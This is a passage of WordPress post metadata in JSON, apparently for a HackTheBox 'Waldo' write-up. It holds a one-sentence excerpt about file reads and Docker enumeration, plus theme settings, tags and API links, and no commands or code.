the box is based on understanding a bunch of .php files that leads to sensitive file read such as the ssh private key. Once inside the box, linux enumeration depicts that there is a docker running. The user of the docker needs to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":272,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[19,2],"tags":[128,124,67,133,123,125,70,26,54,122,127,126,132,130,131,129,121],"class_list":["post-265","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hackthebox","category-information-security","tag-capabilities","tag-diread","tag-docker","tag-escape-rbash","tag-fileread","tag-filewrite","tag-gtfobins","tag-hackthebox","tag-htb","tag-javascript","tag-linpeas-sh","tag-php","tag-rbash","tag-red","tag-red-editor","tag-tac","tag-waldo-htb","entry","has-media"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/265"}],"collection":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/comments?post=265"}],"version-history":[{"count":9,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/265\/revisions"}],"predecessor-version":[{"id":276,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/265\/revisions\/276"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media\/272"}],"wp:attachment":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media?parent=265"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/categories?post=265"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/tags?post=265"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}